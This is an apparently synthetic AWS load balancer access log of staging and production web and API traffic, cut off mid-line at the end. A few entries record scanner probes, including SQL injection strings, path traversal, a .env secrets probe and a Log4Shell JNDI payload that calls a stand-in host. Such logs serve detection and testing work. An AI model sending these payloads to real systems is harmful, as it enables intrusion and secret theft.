2024-11-01T01:27:59.166662Z staging-alb 45.155.205.16:53075 138.127.18.44:8080 0.095209 0.441137 0.097773 500 500 209 7896 "GET /login?id=1'-- HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc2f-d3c990c46fd949aaa6d30421" "-" "-" 4 2024-11-01T01:27:59.166662Z "forward" "-" "-" "138.127.18.44:8080" "500" "-" "-" +https 2024-11-01T01:28:00.340572Z prod-api-alb 163.204.162.251:44815 10.0.84.194:443 0.089230 0.047320 0.058697 301 301 42 9454 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc30-a0c12222972845eeaa61c44a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:28:00.340572Z "forward" "-" "-" "10.0.84.194:443" "301" "-" "-" +http 2024-11-01T01:28:01.596626Z staging-alb 206.6.93.72:59717 205.169.235.233:443 0.070391 0.509605 0.012145 301 301 389 9523 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc31-ba5901ccdfda4b8fad54c1ab" "staging-alb.example.com" "-" 1 2024-11-01T01:28:01.596626Z "forward" "-" "-" "205.169.235.233:443" "301" "-" "-" +https 2024-11-01T01:28:03.158647Z staging-alb 133.105.225.245:15596 3.166.190.127:443 0.144333 0.232507 0.095156 200 200 974 567 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc33-275c226092a649628f277e58" "staging-alb.example.com" "-" 2 2024-11-01T01:28:03.158647Z "forward" "-" "-" "3.166.190.127:443" "200" "-" "-" +https 2024-11-01T01:28:04.348438Z prod-web-alb 109.0.32.52:31360 10.0.215.217:443 0.063128 0.151484 0.096854 200 200 42 446 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc34-0913423e54814f4f886cd152" "prod-web-alb.example.com" "-" 0 2024-11-01T01:28:04.348438Z "forward" "-" "-" "10.0.215.217:443" "200" "-" "-" +https 2024-11-01T01:28:05.129860Z prod-web-alb 248.130.239.196:64292 10.0.36.30:443 0.007829 0.354534 0.066796 301 301 109 13400 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc35-ab0f59636d1b4822bfeabb8f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:28:05.129860Z "forward" "-" "-" "10.0.36.30:443" "301" "-" "-" +https 2024-11-01T01:28:05.616018Z staging-alb 185.181.15.100:57819 179.46.20.108:8080 0.087098 0.147413 0.008825 301 301 769 5119 "GET /administrator HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc35-b39585f4db604b988d457f36" "-" "-" 3 2024-11-01T01:28:05.616018Z "forward" "-" "-" "179.46.20.108:8080" "301" "-" "-" +https 2024-11-01T01:28:07.423800Z staging-alb 35.145.151.188:29956 158.96.183.128:80 0.070471 0.299727 0.080608 302 302 964 2174 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc37-2d94bad085de41fdb3798cdb" "staging-alb.example.com" "-" 1 2024-11-01T01:28:07.423800Z "forward" "-" "-" "158.96.183.128:80" "302" "-" "-" +https 2024-11-01T01:28:09.110846Z staging-alb 111.5.22.216:25136 84.86.42.53:8080 0.147611 0.242178 0.056749 302 302 36 5751 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc39-ef70e06e8665438ba7b09196" "staging-alb.example.com" "-" 4 2024-11-01T01:28:09.110846Z "forward" "-" "-" "84.86.42.53:8080" "302" "-" "-" +https 2024-11-01T01:28:10.318278Z prod-api-alb 51.105.2.48:16281 10.0.77.75:443 0.091039 0.000879 0.096720 302 302 246 9992 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc3a-ca3b085b1450477a8524b620" "prod-api-alb.example.com" "-" 3 2024-11-01T01:28:10.318278Z "forward" "-" "-" "10.0.77.75:443" "302" "-" "-" +https 2024-11-01T01:28:11.359050Z prod-api-alb 215.124.132.28:20181 10.0.201.110:443 0.053069 0.106330 0.098880 404 404 415 9159 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc3b-cdbe7e40cfa247b28b3c84f2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:28:11.359050Z "forward" "-" "-" "10.0.201.110:443" "404" "-" "-" +https 2024-11-01T01:28:12.559278Z prod-web-alb 7.254.168.160:38390 10.0.184.12:443 0.093092 0.177189 0.097704 301 301 907 4054 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc3c-df06285df837440ebbbffaee" "prod-web-alb.example.com" "-" 0 2024-11-01T01:28:12.559278Z "forward" "-" "-" "10.0.184.12:443" "301" "-" "-" +https 2024-11-01T01:28:13.520383Z prod-api-alb 102.0.146.238:55291 10.0.226.6:443 0.039700 0.018218 0.080932 302 302 913 4166 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc3d-57fa0b92d32243a3b6c842fd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:28:13.520383Z "forward" "-" "-" "10.0.226.6:443" "302" "-" "-" +https 2024-11-01T01:28:14.046840Z prod-api-alb 104.172.27.3:49540 10.0.169.83:443 0.042732 0.068921 0.004006 200 200 915 7237 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc3e-9ae971049b604163bf5f2d21" "prod-api-alb.example.com" "-" 3 2024-11-01T01:28:14.046840Z "forward" "-" "-" "10.0.169.83:443" "200" "-" "-" +https 2024-11-01T01:28:15.098572Z staging-alb 76.71.25.71:11140 138.194.14.174:443 0.040282 0.673513 0.110561 200 200 86 2441 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc3f-c91106ef1a5d4ab7a46146ee" "staging-alb.example.com" "-" 2 2024-11-01T01:28:15.098572Z "forward" "-" "-" "138.194.14.174:443" "200" "-" "-" +https 2024-11-01T01:28:16.007641Z staging-alb 64.13.158.56:63461 248.1.197.235:80 0.062471 0.224751 0.084158 404 404 701 1254 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc40-2a612fdc6bdc4d3cb1f03ffd" "staging-alb.example.com" "-" 6 2024-11-01T01:28:16.007641Z "forward" "-" "-" "248.1.197.235:80" "404" "-" "-" +https 2024-11-01T01:28:17.522966Z prod-api-alb 98.234.0.194:25287 10.0.196.13:443 0.031167 0.037083 0.088653 200 200 656 3996 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc41-223751468c0b4a66898959c2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:28:17.522966Z "forward" "-" "-" "10.0.196.13:443" "200" "-" "-" +https 2024-11-01T01:28:19.341450Z prod-web-alb 40.107.128.131:17646 10.0.114.236:443 0.075404 0.195088 0.006784 200 200 631 13063 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc43-556ec86ff9f64b388dd9e196" "prod-web-alb.example.com" "-" 5 2024-11-01T01:28:19.341450Z "forward" "-" "-" "10.0.114.236:443" "200" "-" "-" +https 2024-11-01T01:28:21.281097Z prod-web-alb 169.70.3.67:21787 10.0.252.165:443 0.004066 0.072525 0.040189 302 302 417 11257 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc45-b34a7162fa3b4f96b8b27ab8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:28:21.281097Z "forward" "-" "-" "10.0.252.165:443" "302" "-" "-" +https 2024-11-01T01:28:22.641936Z prod-api-alb 171.220.229.207:14520 10.0.204.126:443 0.000477 0.017581 0.027494 200 200 569 14455 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc46-d2fee14b70e04f0695bed5fa" "prod-api-alb.example.com" "-" 1 2024-11-01T01:28:22.641936Z "forward" "-" "-" "10.0.204.126:443" "200" "-" "-" +https 2024-11-01T01:28:24.602656Z prod-api-alb 1.186.205.79:23085 10.0.245.149:443 0.058424 0.398245 0.042982 301 301 141 606 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc48-fdc61954192544eeb58449b1" "prod-api-alb.example.com" "-" 9 2024-11-01T01:28:24.602656Z "forward" "-" "-" "10.0.245.149:443" "301" "-" "-" +http 2024-11-01T01:28:25.624957Z staging-alb 9.101.23.251:46586 110.54.250.102:80 0.095126 0.285525 0.041035 200 200 736 5721 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc49-e700ff522c7b450db7012cb9" "staging-alb.example.com" "-" 7 2024-11-01T01:28:25.624957Z "forward" "-" "-" "110.54.250.102:80" "200" "-" "-" +https 2024-11-01T01:28:26.750059Z staging-alb 220.162.77.158:55688 20.208.104.22:80 0.132515 0.076698 0.146196 200 200 706 14471 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4a-a31f7921ab8a4bbf86323d7e" "staging-alb.example.com" "-" 7 2024-11-01T01:28:26.750059Z "forward" "-" "-" "20.208.104.22:80" "200" "-" "-" +https 2024-11-01T01:28:28.170362Z staging-alb 45.155.205.70:24312 210.83.53.85:80 0.129029 0.351123 0.126709 302 302 557 7050 "GET /.env HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4c-00b7fc43cbd44d119e21b270" "-" "-" 7 2024-11-01T01:28:28.170362Z "forward" "-" "-" "210.83.53.85:80" "302" "-" "-" +https 2024-11-01T01:28:28.723097Z prod-web-alb 91.168.47.93:57351 10.0.185.89:443 0.025619 0.218335 0.054841 301 301 693 13993 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc4c-ebb95e9d9fab4c739adc6470" "prod-web-alb.example.com" "-" 6 2024-11-01T01:28:28.723097Z "forward" "-" "-" "10.0.185.89:443" "301" "-" "-" +https 2024-11-01T01:28:30.605778Z staging-alb 190.141.214.130:48345 136.14.58.186:443 0.017671 0.594491 0.030695 302 302 409 11849 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4e-78015ca38bad49fc99346fb5" "staging-alb.example.com" "-" 2 2024-11-01T01:28:30.605778Z "forward" "-" "-" "136.14.58.186:443" "302" "-" "-" +https 2024-11-01T01:28:31.567988Z staging-alb 45.155.205.86:17037 38.8.220.13:80 0.145365 0.577656 0.022699 403 403 527 6112 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4f-50137262c8bc444db7cc5bf7" "-" "-" 7 2024-11-01T01:28:31.567988Z "forward" "-" "-" "38.8.220.13:80" "403" "-" "-" +https 2024-11-01T01:28:33.423942Z prod-web-alb 178.36.33.175:49470 10.0.34.8:443 0.024847 0.228777 0.085164 301 301 768 11983 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc51-724fdd8bec9244f1a7bc7557" "prod-web-alb.example.com" "-" 6 2024-11-01T01:28:33.423942Z "forward" "-" "-" "10.0.34.8:443" "301" "-" "-" +https 2024-11-01T01:28:33.636843Z prod-api-alb 195.133.132.8:31492 10.0.74.44:443 0.056967 0.472975 0.067903 200 200 316 7438 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc51-420b90580fb84c2688a40def" "prod-api-alb.example.com" "-" 8 2024-11-01T01:28:33.636843Z "forward" "-" "-" "10.0.74.44:443" "200" "-" "-" +https 2024-11-01T01:28:35.604256Z prod-web-alb 45.155.205.109:55742 10.0.168.182:443 0.070391 0.375248 0.095865 500 500 345 657 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc53-3e79da8a685a4815b12188b8" "-" "-" 6 2024-11-01T01:28:35.604256Z "forward" "-" "-" "10.0.168.182:443" "500" "-" "-" +https 2024-11-01T01:28:36.401364Z prod-web-alb 31.167.222.134:33330 10.0.111.144:443 0.042993 0.348762 0.084486 200 200 172 5112 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc54-cb2753836bad4144ae151ab1" "prod-web-alb.example.com" "-" 7 2024-11-01T01:28:36.401364Z "forward" "-" "-" "10.0.111.144:443" "200" "-" "-" +https 2024-11-01T01:28:38.067285Z prod-web-alb 161.90.68.37:63239 10.0.98.56:443 0.032363 0.166884 0.033765 302 302 157 4168 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc56-251a241644d04bd4b52635c9" "prod-web-alb.example.com" "-" 1 2024-11-01T01:28:38.067285Z "forward" "-" "-" "10.0.98.56:443" "302" "-" "-" +https 2024-11-01T01:28:39.961779Z prod-web-alb 215.58.102.191:54097 10.0.192.30:443 0.044435 0.072243 0.027184 200 200 856 10641 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc57-9554e22a0e5e4d2aa4d36518" "prod-web-alb.example.com" "-" 2 2024-11-01T01:28:39.961779Z "forward" "-" "-" "10.0.192.30:443" "200" "-" "-" +https 2024-11-01T01:28:40.758073Z prod-api-alb 198.139.124.37:25675 10.0.227.142:443 0.064906 0.402753 0.065847 200 200 712 6303 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc58-6eebba84459646309ca269e8" "prod-api-alb.example.com" "-" 6 2024-11-01T01:28:40.758073Z "forward" "-" "-" "10.0.227.142:443" "200" "-" "-" +https 2024-11-01T01:28:42.179325Z prod-web-alb 169.77.68.7:45441 10.0.49.19:443 0.022966 0.047571 0.018626 200 200 57 11851 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc5a-3790c7c63de748c59470c0da" "prod-web-alb.example.com" "-" 4 2024-11-01T01:28:42.179325Z "forward" "-" "-" "10.0.49.19:443" "200" "-" "-" +https 2024-11-01T01:28:44.119578Z prod-web-alb 104.226.46.52:62999 10.0.137.53:443 0.044464 0.245578 0.091456 200 200 303 12439 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc5c-8f88e4fd8cc84421b81ccdb4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:28:44.119578Z "forward" "-" "-" "10.0.137.53:443" "200" "-" "-" +https 2024-11-01T01:28:45.493858Z prod-api-alb 53.220.193.1:22975 10.0.181.141:443 0.047852 0.457390 0.058645 302 302 4 12726 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc5d-81397f714b03420aa0a0d1a1" "prod-api-alb.example.com" "-" 5 2024-11-01T01:28:45.493858Z "forward" "-" "-" "10.0.181.141:443" "302" "-" "-" +https 2024-11-01T01:28:46.713111Z prod-api-alb 198.84.95.146:11152 10.0.107.53:443 0.070464 0.410972 0.068346 302 302 802 940 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc5e-68e1a10b8fbf4fbd89261bb5" "prod-api-alb.example.com" "-" 0 2024-11-01T01:28:46.713111Z "forward" "-" "-" "10.0.107.53:443" "302" "-" "-" +http 2024-11-01T01:28:48.270145Z staging-alb 214.87.17.253:50693 177.204.58.219:8080 0.078184 0.620731 0.037946 301 301 712 3913 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc60-04f6cea2a6fa4e24b91b0fb5" "staging-alb.example.com" "-" 2 2024-11-01T01:28:48.270145Z "forward" "-" "-" "177.204.58.219:8080" "301" "-" "-" +http 2024-11-01T01:28:49.899791Z staging-alb 60.121.72.75:25945 147.78.155.215:443 0.032302 0.070197 0.063339 301 301 354 14662 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc61-9a5512e4b56b486e9d05fd0b" "staging-alb.example.com" "-" 8 2024-11-01T01:28:49.899791Z "forward" "-" "-" "147.78.155.215:443" "301" "-" "-" +http 2024-11-01T01:28:51.177629Z staging-alb 232.195.64.66:61982 179.193.241.73:443 0.030208 0.159542 0.077768 200 200 546 393 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc63-648e8510381545ba8785bc73" "staging-alb.example.com" "-" 0 2024-11-01T01:28:51.177629Z "forward" "-" "-" "179.193.241.73:443" "200" "-" "-" +http 2024-11-01T01:28:52.952397Z staging-alb 12.174.181.159:57709 233.225.175.53:8080 0.118966 0.085990 0.031778 302 302 426 252 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc64-3b4bf25216734113a341ec9b" "staging-alb.example.com" "-" 9 2024-11-01T01:28:52.952397Z "forward" "-" "-" "233.225.175.53:8080" "302" "-" "-" +https 2024-11-01T01:28:53.365879Z prod-web-alb 154.6.178.34:58363 10.0.90.109:443 0.065860 0.184140 0.067315 200 200 724 4198 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc65-f38d097c88964c9b83466b77" "prod-web-alb.example.com" "-" 3 2024-11-01T01:28:53.365879Z "forward" "-" "-" "10.0.90.109:443" "200" "-" "-" +https 2024-11-01T01:28:54.040730Z staging-alb 222.41.182.67:61838 167.178.69.116:80 0.096489 0.202634 0.125561 301 301 439 12336 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc66-1b84ffce8f774486b98c3200" "staging-alb.example.com" "-" 2 2024-11-01T01:28:54.040730Z "forward" "-" "-" "167.178.69.116:80" "301" "-" "-" +https 2024-11-01T01:28:55.797772Z prod-api-alb 94.2.149.76:41585 10.0.57.96:443 0.002913 0.211550 0.083108 301 301 195 2884 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc67-19ae41d5882147cda3f7e6d3" "prod-api-alb.example.com" "-" 1 2024-11-01T01:28:55.797772Z "forward" "-" "-" "10.0.57.96:443" "301" "-" "-" +https 2024-11-01T01:28:57.550591Z prod-web-alb 26.247.209.180:18966 10.0.204.38:443 0.007467 0.170096 0.092522 302 302 352 267 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc69-5249861e4431457b9d0296ce" "prod-web-alb.example.com" "-" 7 2024-11-01T01:28:57.550591Z "forward" "-" "-" "10.0.204.38:443" "302" "-" "-" +https 2024-11-01T01:28:58.732021Z prod-api-alb 185.181.95.188:32335 10.0.210.37:443 0.081928 0.476016 0.004241 200 200 66 7002 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc6a-5ef03f950ec145c2a72f33f9" "-" "-" 8 2024-11-01T01:28:58.732021Z "forward" "-" "-" "10.0.210.37:443" "200" "-" "-" +https 2024-11-01T01:28:59.566902Z prod-web-alb 70.173.224.5:35434 10.0.82.11:443 0.089172 0.368315 0.099904 302 302 720 262 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc6b-e9058d1068ae4e0d91449219" "prod-web-alb.example.com" "-" 9 2024-11-01T01:28:59.566902Z "forward" "-" "-" "10.0.82.11:443" "302" "-" "-" +https 2024-11-01T01:29:00.677485Z prod-web-alb 109.247.182.58:52043 10.0.107.135:443 0.075519 0.368549 0.049199 200 200 988 10297 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc6c-d427478e09414ed6a7fb7e77" 